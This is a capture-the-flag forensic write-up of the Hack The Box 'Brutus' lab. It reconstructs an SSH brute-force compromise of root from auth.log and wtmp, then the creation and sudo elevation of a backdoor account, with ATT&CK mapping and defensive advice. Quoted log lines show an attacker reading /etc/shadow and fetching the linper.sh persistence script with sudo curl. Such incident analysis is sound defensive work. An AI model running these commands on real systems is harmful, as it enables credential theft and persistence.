

BRUTUS

SSH Brute-Force Investigation Report

Hack The Box Sherlock Lab

Prepared by Abhinav Pratap Singh	Investigation scope Linux SSH authentication and session artifacts
Platform Hack The Box - Brutus	Evidence reviewed auth.log, wtmp, decoded utmp records
Report type Technical investigation report	Date 12 September 2026

Evidence discipline

This report treats the supplied Brutus lab notes and recorded artifact excerpts as the primary source. Statements marked **Observed** are directly supported by those artifacts. Statements marked **Interpretation** describe a reasoned assessment and are not presented as independently proven facts.

CONFIDENTIALITY: Lab exercise material - suitable for educational / internship submission.

Executive Summary

The Brutus lab investigation reconstructed an SSH credential attack against a Linux host by correlating `auth.log` with the `wtmp` session artifact. The recorded logs show a high-volume sequence of failed SSH password attempts from **65.2.161.68**, including invalid and valid account names, followed by successful password authentication as **root** at **06:32:44 UTC** on 6 March 2024. A decoded `wtmp` `USER` record establishes the associated terminal session at **06:32:45 UTC**.

After root access, the logs record creation of the local account **cyberjunkie**, a password change, addition to the **sudo** group, a subsequent login from the same IP, privileged access to `/etc/shadow`, and a `sudo-executed curl` command for `linper.sh`. This is evidence consistent with a credential-guessing compromise followed by creation of a privileged secondary account. The report does not assert the downloaded script was executed because the supplied evidence records its download command, not a later execution event.

Objective

Identify and reconstruct the SSH attack sequence; determine the source IP, compromised account, and terminal-session time; analyze the documented post-compromise activity; and present practical defensive actions based on the evidence.

Tools and Artifacts

Item	Role in investigation
Hack The Box Brutus	Controlled Sherlock investigation scenario.
<code>auth.log</code>	Primary text log for SSH failures, successful authentication, account changes, and <code>sudo</code> activity.
<code>wtmp</code> / decoded <code>utmp</code> output	Binary session artifact used to establish the terminal-session record and time.
<code>grep</code> and <code>awk</code>	Focused log filtering and extraction of source-IP fields.
<code>utmp.py</code>	Supplied parser used to translate fixed-format binary session records into readable fields.

Scope and Limitations

The conclusions below are confined to the notes and log excerpts supplied for this lab. They establish recorded system events, but do not independently attribute the IP to a real-world individual, validate the contents of the remote script, or establish additional actions not logged in the supplied evidence.

Investigation Methodology

The investigation proceeded from broad artifact identification to targeted event correlation: (1) identify the evidence types; (2) isolate SSH activity; (3) filter failed and accepted authentication records; (4) correlate source IP, account, and timestamp; (5) decode the binary session artifact; and (6) examine subsequent account-management and sudo events. This sequence preserves the difference between authentication and terminal-session evidence.

Initial SSH Log Examination

The notes identify `auth.log` as readable ASCII text and `wtmp` as data, supporting a text-log review followed by separate binary-artifact parsing.

```
file auth.log wtmp utmp.py
```

Observed: SSH records around 06:31 UTC include invalid-user messages, authentication failures, and connection controls. This establishes that the SSH service was experiencing a concentrated burst of activity; it does not by itself prove a successful compromise.

Brute-Force Identification

The notes filtered password failures and showed repeated attempts from one external address against names including `admin`, `backup`, `server_admin`, `svc_account`, and `root`. The service also logged `MaxStartups` throttling and 21 dropped connections.

```
grep "Failed password" auth.log
```

```
Mar 6 06:31:33 ... Failed password for invalid user admin from 65.2.161.68 ...
Mar 6 06:31:34 ... Failed password for backup from 65.2.161.68 ...
Mar 6 06:31:41 ... Failed password for root from 65.2.161.68 ...
```

Interpretation: The rapid, repeated password attempts against multiple usernames from the same IP are strongly consistent with SSH brute force / credential guessing. This assessment is also supported by the host connection-throttling evidence.

Compromised Account and Attacker IP

Observed: The accepted-password record directly identifies both the account and source IP for the successful authentication event.

```
Mar 6 06:32:44 ... sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
```

The compromised account evidenced by this log is **root**. The source address associated with the recorded attack sequence and successful login is **65.2.161.68**. The lab notes also show an earlier short root session from the same address at 06:31:40; this report focuses on the later session that is corroborated by the separate terminal-session artifact.

Attacker IP Extraction: grep and awk

A focused command used in the notes is shown below. `grep` restricts output to failed-password events. In `awk`, `NF` is the number of whitespace-separated fields on the current line; `$(NF-3)` selects the field three positions before the final field. For the documented SSH format, that field is the source IP. Field positions should be verified against the log format before reusing this pattern elsewhere.

```
grep "Failed password" auth.log | awk '{print $(NF-3)}'
```

Relevant result: 65.2.161.68

utmp/wtmp Session Artifact Analysis

Because `wtmp` is binary, displaying it directly produces unreadable bytes rather than a usable timeline. The supplied `utmp.py` parser decodes fixed-size records into fields such as record type, terminal line, user, host, and timestamp.

```
python3 utmp.py wtmp -o utmp.tsv
```

```
"USER" "2549" "pts/1" "ts/1" "root" "65.2.161.68" ... "2024/03/06 06:32:45" ...
```

Observed: The `USER` record establishes a root pseudo-terminal session (`pts/1`) from **65.2.161.68** at **2024-03-06 06:32:45 UTC**. This is one second after the 06:32:44 authentication event and is therefore reported separately.

Attack Timeline

Times below are UTC on 6 March 2024. “Observed” entries are directly reflected in supplied records; the final column separates event evidence from the analytical reading.

Time	Recorded event	Evidence status / meaning
06:31:31	Invalid SSH user attempts from 65.2.161.68; MaxStartups throttling begins.	Observed. Start of documented concentrated SSH activity.
06:31:33 onward	Repeated failed passwords for invalid and valid usernames.	Observed. Consistent with credential guessing.
06:32:39	MaxStartups throttling ends; 21 connections dropped.	Observed. Supports high connection volume.
06:32:44	Accepted password for root from 65.2.161.68; session 37 recorded in auth.log.	Observed. Successful root authentication.
06:32:45	wtmp USER record: root, pts/1, 65.2.161.68.	Observed. Terminal session established.
06:34:18	cyberjunkie group and local user created from /dev/pts/1.	Observed. New local account created during root session.
06:35:15	cyberjunkie added to sudo group.	Observed. Privileged capability granted.
06:37:24	Root session disconnects and closes.	Observed. First documented session ends.
06:37:34 / :35	Accepted password for cyberjunkie; wtmp session follows at 06:37:35.	Observed. Continued access through new account.
06:37:57	cyberjunkie uses sudo to cat /etc/shadow.	Observed. Privileged credential-file access.
06:39:38	cyberjunkie uses sudo to curl linper.sh from GitHub.	Observed. Remote script download command recorded.

Post-Compromise Analysis

The root session was followed by local account creation, password assignment, and sudo-group membership for cyberjunkie. The subsequent successful cyberjunkie login from the same IP and sudo activity show that the new account was used after the root session ended.

```
Mar 6 06:34:18 ... useradd[2592]: new user: name=cyberjunkie ... from=/dev/pts/1
Mar 6 06:35:15 ... usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:37:57 ... sudo: cyberjunkie ... COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:39:38 ... sudo: cyberjunkie ... COMMAND=/usr/bin/curl
https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
```

Interpretation: The sequence is consistent with establishing a secondary privileged account for continued access. The notes themselves describe this as persistence; however, the report avoids claiming any unlogged persistence mechanism or execution of the downloaded script.

MITRE ATT&CK; Mapping

Mappings are limited to behavior directly supported by the recorded events. The ATT&CK; labels below describe the observed activity; they are not a claim of complete adversary tradecraft.

Observed behavior	ATT&CK; mapping	Basis / confidence
Repeated SSH password failures across multiple accounts.	T1110 - Brute Force	Direct log evidence; high confidence.
Creation of local account cyberjunkie.	T1136.001 - Create Account: Local Account	Direct useradd evidence; high confidence.
SSH authentication and terminal session from remote IP.	T1021.004 - Remote Services: SSH	Accepted SSH login and pts session record; high confidence.
sudo access to /etc/shadow.	T1003 - OS Credential Dumping (potentially relevant)	File access is observed; purpose or extraction is not shown. Moderate confidence only.
sudo curl of remote linper.sh.	T1105 - Ingress Tool Transfer (potentially relevant)	Download command is observed; successful transfer and execution are not shown. Moderate confidence only.

Findings

1. The recorded source IP for the attack sequence and later successful access was **65.2.161.68**.
2. The SSH evidence shows repeated failed password attempts against multiple account names and connection throttling, consistent with brute-force activity.
3. Root password authentication from that IP was accepted at **06:32:44 UTC**; a corresponding terminal session was recorded at **06:32:45 UTC**.
4. The local account **cyberjunkie** was created during the root session and added to **sudo**.
5. cyberjunkie subsequently logged in from the same IP and used sudo to access /etc/shadow and invoke a remote-script download.

Defensive Recommendations

- **Disable direct root SSH login** and require named administrative accounts with controlled privilege elevation.
- **Use SSH keys and MFA** where feasible; avoid password-only remote administration.
- **Rate-limit and alert on SSH failures**, especially multiple usernames and high concurrent connection counts from one IP.
- **Correlate successful logins after failure bursts** with source IP, account, and session data in a central log platform.
- **Alert on account and group changes**, especially useradd, password changes, and additions to sudo or other privileged groups.
- **Monitor privileged reads and remote downloads**, including sudo access to /etc/shadow and curl/wget activity from privileged sessions.

Conclusion

The Brutus investigation demonstrates the value of correlating text authentication logs with binary session artifacts. The supplied evidence establishes a sequence of high-volume SSH password failures from 65.2.161.68, successful root authentication, a terminal session one second later, creation and elevation of cyberjunkie, and continued privileged activity through that account. The evidence supports an assessment of SSH credential guessing followed by secondary-account creation for continued access.

A key investigative distinction is preserved throughout: authentication at 06:32:44 UTC is not the same event as the terminal-session record at 06:32:45 UTC. Likewise, the logs show a curl command for linper.sh, but do not prove the script executed. Maintaining those boundaries produces a report that is technically defensible as well as readable.

Appendix A - Representative Evidence Index

Artifact / record	What it supports
auth.log: Failed password, invalid user, MaxStartups records	Concentrated SSH credential-attempt activity from 65.2.161.68.
auth.log: Accepted password for root at 06:32:44	Successful root authentication from 65.2.161.68.
wtmp decoded USER record at 06:32:45	Root pts/1 terminal session from 65.2.161.68.
auth.log: useradd/usermod for cyberjunkie	Local account creation and sudo privilege assignment.
auth.log: sudo commands at 06:37:57 and 06:39:38	/etc/shadow access and remote linper.sh download command.

Primary source: supplied "Brutus Lab CTF" investigation notes and embedded auth.log / wtmp excerpts. No external claims were required for the factual reconstruction.